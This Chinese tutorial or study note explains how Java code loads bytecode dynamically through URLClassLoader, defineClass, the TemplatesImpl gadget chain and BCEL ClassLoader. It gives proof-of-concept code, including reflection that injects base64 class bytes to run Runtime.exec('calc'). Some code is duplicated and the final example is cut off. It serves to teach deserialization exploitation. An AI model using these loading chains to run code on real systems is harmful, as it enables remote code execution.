Java 动态加载字节码 字节码 Java字节码指的是JVM执⾏使⽤的⼀类指令,通常被存储在 .class ⽂件中
P神的定义:
利⽤URLClassLoader加载远程/本地class⽂件 在学习完类加载机制,URLClassLoader是AppClassLoader的⽗类 正常情况下(扩展类加载器),Java会根据配置项sun.boot.class.path和java.class.path中列举的基础路径(这些路径是经过处理后的java.net.URL类) 来寻找 .class ⽂件来加载,这个基础路径有分三种情况:
URL未以斜杠 / 结尾,则认为是⼀个Jar⽂件,使⽤JarLoader来寻找类,即在Jar包上寻找类,不以就会认为该 URL 被假定为引用将根据需要打开的 JAR 文件。
URL以斜杠 / 结尾,且协议名为file,则使⽤FileLoader来寻找类,即在本地系统中寻找 .class ⽂件
URL以斜杠 / 结尾,且协议名不为file,则使⽤最基础的Loader来寻找类
本地加载 .class ⽂件 1 2 3 4 5 6 import java.net.URL;import java.net.URLClassLoader; public class urlclassloader { public static void main (String[] args) throws Exception { URLClassLoader urlclassloader = new URLClassLoader (new URL []{ new URL ("file:///Users/nivia/Desktop/Java/src/" )}); Class c = urlclassloader.loadClass("Test" ); c.newInstance(); } }
远程加载 .class ⽂件 1 2 3 4 5 6 import java.net.URL; import java.net.URLClassLoader; public class urlclassloader { public static void main (String[] args) throws Exception { URLClassLoader urlclassloader = new URLClassLoader (new URL []{new URL ("http://url:port/" )}); Class c = urlclassloader.loadClass("Test" ); c.newInstance(); } }
加载到的 .class ⽂件会执⾏其字节码 当能够控制⽬标Java ClassLoader的基础路径为⼀个http服务器,则可以⽤远程加载的⽅式执⾏任意代码
利用defineClass直接加载字节码 Java加载都需要经过:
1 ClassLoader.loadClass -> ClassLoader.findClass -> ClassLoader.defineClass
loadClass的作⽤是从已经加载的类缓存、⽗加载器等位置寻找类(双亲委派机制),在前⾯没有找到的情况下,执⾏findClass
findClass的作⽤就是根据基础URL制定的⽅式来查找类,读取字节码后交给defineClass
defineClass的作⽤是处理前⾯传⼊的字节码,将其处理成真正的Java类
所以真正核心的部分其实是 defineClass
至于再具体的defineClass()
方法是如何实现的,就要跟到这个native(本地)方法了:
1 2 3 native 方法称为本地方法。在java源程序中以关键字“native ”声明,不提供函数体。其实现使用C/C++语言在另外的文件中编写,编写的规则遵循Java本地接口的规范(简称JNI)。 简而言就是Java中声明的可调用的使用C/C++实现的方法。
1 2 3 4 5 6 7 8 protected final Class<?> defineClass(String name, byte [] b, int off, int len,ProtectionDomain protectionDomain) throws ClassFormatError { .... Class<?> c = defineClass1(name, b, off, len, protectionDomain, source); postDefineClass(c, protectionDomain); return c; } 8private native Class<?> defineClass1(String name, byte [] b, int off, int len,ProtectionDomain pd, String source);
例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 package org.gk0d;import java.lang.reflect.Method;import java.util.Base64;public class HelloDefineClass { public static void main (String[] args) throws Exception { Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass" , String.class, byte [].class, int .class, int .class); defineClass.setAccessible(true ); byte [] code = Base64.getDecoder().decode("yv66vgAAADQAGwoABgANCQAOAA8IABAKABEAEgcAEwcAFAEA" + "Bjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApTb3VyY2VGaWxlAQAKSGVs" + "bG8uamF2YQwABwAIBwAVDAAWABcBAAtIZWxsbyBXb3JsZAcAGAwAGQAaAQAFSGVsbG8BABBqYXZh" + "L2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3Ry" + "ZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5n" + "OylWACEABQAGAAAAAAABAAEABwAIAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoA" + "AAAOAAMAAAACAAQABAAMAAUAAQALAAAAAgAM" ); Class hello = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), "Hello" , code,0 , code.length); hello.newInstance(); } }
里面是Hello.class
的base64编码
注意:在 defineClass
被调用的时候,类对象是不会被初始化的,只有这个对象显式地调用其构造 函数,初始化代码才能被执行。而且,即使我们将初始化代码放在类的static块中,在 defineClass 时也无法被直接调用到。所以,如果我们要使用 defineClass 在目标机器上执行任意代码,需要想办法调用构造函数。详细可以看类的加载过程
在实际场景中,因为defineClass
方法作用域是不开放的,所以攻击者很少能直接利用到它但它却是我们常用的一个攻击链 TemplatesImpl
的基石。
还可以用IO进行文件读取
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import java.io.IOException;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;import java.nio.file.Files;import java.nio.file.Paths;public class DefineClassTest { public static void main (String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, InstantiationException, NoSuchMethodException, InvocationTargetException, InvocationTargetException { Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass" ,String.class,byte [].class,int .class,int .class); defineClass.setAccessible(true ); byte [] code= Files.readAllBytes(Paths.get("D:\Exec.class" )); Class Exec = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(),"Exec" ,code,0 ,code.length); Exec.newInstance(); } }
利用TemplatesImpl加载字节码 defineClass
方法并不好直接利用,但是Java底层还是有一些类用到了它,这就是 TemplatesImpl
,com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
这个类中定义了一个内部类TransletClassLoader
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 static final class TransletClassLoader extends ClassLoader { private final Map<String,Class> _loadedExternalExtensionFunctions; TransletClassLoader(ClassLoader parent) { super (parent); _loadedExternalExtensionFunctions = null ; } TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) { super (parent); _loadedExternalExtensionFunctions = mapEF; } public Class<?> loadClass(String name) throws ClassNotFoundException { Class<?> ret = null ; if (_loadedExternalExtensionFunctions != null ) { ret = _loadedExternalExtensionFunctions.get(name); } if (ret == null ) { ret = super .loadClass(name); } return ret; } Class defineClass (final byte [] b) { return defineClass(null , b, 0 , b.length); } }
这个类里重写了 defineClass
方法,并且这里没有显式地声明其定义域。Java中默认情况下,如果一个方法没有显式声明作用域,其作用域为default
。所以也就是说这里的defineClass
由其父类的protected
类型变成了一个default
类型的方法,可以被类外部调用。
从 TransletClassLoader#defineClass()
向前追溯一下调用链:
1 2 3 4 5 TransletClassLoader#defineClass() -> TemplatesImpl#defineTransletClasses() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getOutputProperties()
重点来了怎么利用defineClass() 的呢怎么找的的
搜索defineClass() 发现在defineTransletClasses() 中调用了
看TemplatesImpl#defineTransletClasses()
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 private void defineTransletClasses () throws TransformerConfigurationException { if (_bytecodes == null ) { ErrorMsg err = new ErrorMsg (ErrorMsg.NO_TRANSLET_CLASS_ERR); throw new TransformerConfigurationException (err.toString()); } TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction () { public Object run () { return new TransletClassLoader (ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); } }); try { final int classCount = _bytecodes.length; _class = new Class [classCount]; if (classCount > 1 ) { _auxClasses = new HashMap <>(); } for (int i = 0 ; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass(); if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } } if (_transletIndex < 0 ) { ErrorMsg err= new ErrorMsg (ErrorMsg.NO_MAIN_TRANSLET_ERR, _name); throw new TransformerConfigurationException (err.toString()); } } ... }
1 2 for (int i = 0 ; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]);
1 private byte [][] _bytecodes = null ;
这⾥的_bytecodes
定义是私有的也没其他搜索也没其他方法修改他,所以,可利⽤反射获取变量进⾏修改 还需要注意,defineTransletClasses⽅法中会执⾏⼀个run⽅法,为了防止报错所以_tfactory不能为空还得为TransformerFactoryImpl对象
1 private transient TransformerFactoryImpl _tfactory = null ;
继续看哪里用了这个defineTransletClasses() 方法,搜索发现有三个
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 public synchronized int getTransletIndex () { try { if (_class == null ) defineTransletClasses(); } catch (TransformerConfigurationException e) { } return _transletIndex; } private synchronized Class[] getTransletClasses() { try { if (_class == null ) defineTransletClasses(); } catch (TransformerConfigurationException e) { } return _class; } private Translet getTransletInstance () throws TransformerConfigurationException { try { if (_name == null ) return null ; if (_class == null ) defineTransletClasses(); AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].getConstructor().newInstance(); translet.postInitialization(); translet.setTemplates(this ); translet.setOverrideDefaultParser(_overrideDefaultParser); translet.setAllowedProtocols(_accessExternalStylesheet); if (_auxClasses != null ) { translet.setAuxiliaryClasses(_auxClasses); } return translet; } .... }
第一个方法为public可以直接调用 之后再说
第二个方法为私有所以往上调看看什么能用它,没有,那没办了
第三方法往上调用发现newTransformer()是个public可以调用了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public synchronized Transformer newTransformer () throws TransformerConfigurationException { TransformerImpl transformer; transformer = new TransformerImpl (getTransletInstance(), _outputProperties, _indentNumber, _tfactory); if (_uriResolver != null ) { transformer.setURIResolver(_uriResolver); } if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) { transformer.setSecureProcessing(true ); } return transformer; }
所以我们可以实例化TemplatesImpl对象直接调用它的方法就能弹计算器了
找到链子了所以跟进去看看条件是什么,方便就直接写进入方法前的代码块了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 { TransformerImpl transformer; transformer = new TransformerImpl (getTransletInstance(), _outputProperties,_indentNumber, _tfactory);} getTransletInstance()方法 try { if (_name == null ) return null ; if (_class == null ) defineTransletClasses(); { if (_bytecodes == null ) { ErrorMsg err = new ErrorMsg (ErrorMsg.NO_TRANSLET_CLASS_ERR); throw new TransformerConfigurationException (err.toString()); } TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction () { public Object run () { return new TransletClassLoader (ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); } }); try { final int classCount = _bytecodes.length; _class = new Class [classCount]; if (classCount > 1 ) { _auxClasses = new HashMap <>(); } for (int i = 0 ; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass(); if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; }
问题是怎么控制这些变量,发现都是私有类,且没有构造方法,所以只能用反射了
1 2 3 4 private Class[] _class = null ;private byte [][] _bytecodes = null ;private String _name = null ;private transient TransformerFactoryImpl _tfactory = null ;
所以构造
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.lang.reflect.Field;import java.util.Base64;public class Main { public static void main (String[] args) throws Exception { byte [] bytecodes = Base64.getDecoder().decode("xxxx" ); TemplatesImpl mpl = new TemplatesImpl (); Class a = mpl.getClass(); setFieldValue(a,"_name" ,"baicany" ); setFieldValue(a,"_bytecodes" ,bytecodes); setFieldValue(a,"_class" ,null ); setFieldValue(a,"_tfactory" ,new TransformerFactoryImpl ()); mpl.newTransformer(); } public static void setFieldValue (Class a,String name,Object value) throws Exception { Field field = a.getDeclaredField(name); field.setAccessible(true ); field.set(a,value); } }
可是之前那样这样只是加载了字节码并不会初始化怎么办,就像之前提到过一样
在getTransletInstance()方法中运行了defineTransletClasses()之后会newInstance();还是要这里的实例化才有用,就是这里就能触发我们之前加载的字节码了(所以为什么不跟进那个public方法一样因为不会初始化出来)
1 2 3 4 5 6 7 8 9 10 11 12 private Translet getTransletInstance () throws TransformerConfigurationException { try { if (_name == null ) return null ; if (_class == null ) defineTransletClasses(); AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].getConstructor().newInstance();
所以要确保进入defineTransletClasses()并不会报错所以得看完defineTransletClasses()里面写的什么,这里函数之前分析过的不再分析了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 for (int i = 0 ; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass(); if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } 就是说的 else { _auxClasses.put(_class[i].getName(), _class[i]); } } if (_transletIndex < 0 ) { ErrorMsg err= new ErrorMsg (ErrorMsg.NO_MAIN_TRANSLET_ERR, _name); throw new TransformerConfigurationException (err.toString()); } } }
首先想要不报错if (_transletIndex < 0)必须为flase,所以往上看,发现赋值语句
_transletIndex = i;
这里和之前提到的撞上了是吧,只要这个有那之前那个(_class[_transletIndex]
)也解决了,在往上看要这个要赋值得
1 2 3 if (superClass.getName().equals(ABSTRACT_TRANSLET)) 为true 才行 而这里superclass为Class superClass = _class[i].getSuperclass(); _class[i]怎么来的之前也知道了所以直接都串上了
所以条件要_bytecodes[i]的父类为AbstractTranslet才行
1 2 private static String ABSTRACT_TRANSLET = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" ;
至于外部加载类怎么写的弹计算器
POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 package com.lagou;import java.io.IOException;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class io extends AbstractTranslet { public io () throws IOException { Runtime.getRuntime().exec("cacl" ); } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
解释以下为什么多了两个transform方法,然后将它编译+base64编码了javac io.java | cat io.class|base64
1 2 3 4 5 这里是因为子类需要实现父类里面的抽象方法,同时因为父类是抽象类,可能没有将接口的方法全部实现, 这时子类如果不是抽象的,那必须将其他接口方法都实现。 这里面 `transform(DOM document, DTMAxisIterator iterator,SerializationHandler handler) 是父类里面的抽象方法所以要重写 transform(DOM document, SerializationHandler[] handlers)是父类没有实现接口的方法所以要重写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 package com.lagou;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.lang.reflect.Field;import java.util.Base64;public class Main { public static void main (String[] args) throws Exception { byte [] code = Base64.getDecoder().decode( "yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUB" + "AA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQByKExjb20vc3Vu" + "L29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hl" + "L3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAbAQCmKExj" + "b20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9h" + "cGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNo" + "ZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJj" + "ZUZpbGUBAAdpby5qYXZhDAAHAAgHABwMAB0AHgEABGNhbGMMAB8AIAEADGNvbS9sYWdvdS9pbwEA" + "QGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0" + "VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFu" + "L2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApn" + "ZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0" + "cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABgAAAAAAAwABAAcACAACAAkAAAAuAAIAAQAA" + "AA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAAAoABAALAA0ADAALAAAABAABAAwAAQANAA4A" + "AgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAA8ACwAAAAQAAQAPAAEADQAQAAIACQAAABkA" + "AAAEAAAAAbEAAAABAAoAAAAGAAEAAAASAAsAAAAEAAEADwABABEAAAACABI=" ); TemplatesImpl mpl = new TemplatesImpl (); setFieldValue(mpl,"_name" ,"baicany" ); setFieldValue(mpl,"_bytecodes" ,new byte [][]{code}); setFieldValue(mpl,"_class" ,null ); setFieldValue(mpl,"_tfactory" ,new TransformerFactoryImpl ()); mpl.newTransformer(); } public static void setFieldValue (Object obj, String fieldName, Object Value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, Value); } }mpl,"_class" ,null ); setFieldValue(mpl,"_tfactory" ,new TransformerFactoryImpl ()); mpl.newTransformer(); } public static void setFieldValue (Object obj, String fieldName, Object Value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, Value); } }
弹出计算器
利用BCEL ClassLoader加载字节码 关于BCEL先看看p神的:https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html#0x01-bcel
BCEL属于Apache Commons项目下的一个子项目,全名应Apache Commons BCE,它提供了一系列用于分析、修改和创建Java Class文件的API,从库功能来看,使用性远不及其他库,但被Apache Xalan所使用,而Apache Xalan又是Java内部对于JAXP的实现,所以BCEL也被包含在了JDK的原生库中位com.sun.org.apache.bcel。
JAXP全名是Java API for XML Processing 是Java定义的⼀系列接⼝,⽤于处理XML相关的逻辑,包括DOM、SAX、StAX、XSLT等。Apache Xalan实现了其中XSLT相关 的部分,其中包括xsltc compiler。 xsltc compiler是⼀个命令⾏编辑器,可以将⼀个xsl⽂件编译成⼀个class⽂件或者jar⽂件
XSLT(扩展样式表转换语言)是一种为可扩展置标语言提供表达形式而设计的计算机语言,主要用于将XML转换成其他格式的数据。既然是一门动态“语言”,在Java中必然会先被编译成Java,才能够执行。
BCEL包中有com.sun.org.apache.bcel.internal.util.ClassLoader
类,它是一个ClassLoader
,但重写了Java内置的ClassLoader#LoadClass
方法
在LoadClass中,会判断类名是否是$$BCEL$$
开头,如果是的话,将会对这个字符串进行decode
1 2 3 4 5 6 if (clazz != null ) { byte [] bytes = clazz.getBytes(); cl = defineClass(class_name, bytes, 0 , bytes.length); } else cl = Class.forName(class_name); }
调用deifine方法
编写恶意类
1 2 3 4 5 6 7 8 9 10 11 12 import java.io.IOException;public class calc { static { try { Runtime.getRuntime().exec("calc.exe" ); } catch (IOException e) { e.printStackTrace(); } } }
然后通过BCEL提供的两个类Repository
和utility
来利用:
1 2 Repository用于将一个Java Class先转换成原生字节码(也可以直接javac编译获得)提供了lookupClass⽅法⽤于加载⼀个类 utility用于将原生字节码转换成BCEL格式的字节码
poc
1 2 3 4 5 6 7 8 9 10 11 import com.sun.org.apache.bcel.internal.Repository;import com.sun.org.apache.bcel.internal.classfile.JavaClass;import com.sun.org.apache.bcel.internal.classfile.Utility;import com.sun.org.apache.bcel.internal.util.ClassLoader;import java.io.IOException;public class l {public static void main (String[] args) throws Exception {JavaClass clazz = Repository.lookupClass(calc.class);String code = Utility.encode(clazz.getBytes(), true );System.out.println(code); new ClassLoader ().loadClass("$$BCEL$$" + code).newInstance();